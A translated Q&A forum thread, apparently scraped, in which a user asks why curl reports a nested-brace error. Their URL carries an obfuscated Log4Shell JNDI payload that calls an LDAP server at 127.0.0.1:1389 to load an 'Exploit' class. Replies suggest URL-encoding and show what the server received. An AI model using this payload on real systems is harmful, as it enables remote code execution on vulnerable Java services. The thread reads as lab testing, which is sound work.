[英]Nested Brace in URL curl syntax error with JNDI
运行以下代码时出现错误。 你能告诉我语法有什么问题吗? 我已经尝试了所有的可能性,包括 "、双引号等,但没有运气。
错误:curl:(3) URL position 62 中的嵌套大括号:
curl 'http://localhost:8080/rest/users/user/updateuser?cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/#Exploit}' -H 'ID:1234567' -H 'Content-Type:application/json' -H 'X-UserName:usern8' --data-raw '{"id": 1,"name": "Name","profession": "Profession"}'
您可能必须对查询字符串进行 url 编码。
我转换了它,它看起来像这样:
cmd%3D%24%7Bjndi%3A%24%7Blower%3Al%7D%24%7Blower%3Ad%7D%24%7Blower%3Aa%7D%24%7Blower%3Ap%7D%3A%2F%2F127.0.0.1%3A1389%2F%23Exploit%7D
真正的问题可能是您认为在查询字符串中传输的内容。
您显示的内容无效 JSON。
但我发送了它,这是服务器收到的。
'argv' => array (0 => 'cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',),
'REQUEST_METHOD' => 'POST',
BODY={"id": 1,"name": "Name","profession": "Profession"}
$_SERVER['QUERY_STRING'] = cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/
$_POST array ()
$_GET array ('cmd' => '${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',)
$_REQUEST array ('cmd' => '${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',)
那是您希望服务器接收的吗?
或者您是否认为这${lower:d}
可以解决其他问题?
这看起来像一个 PHP 变量。 它从哪里来的?
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.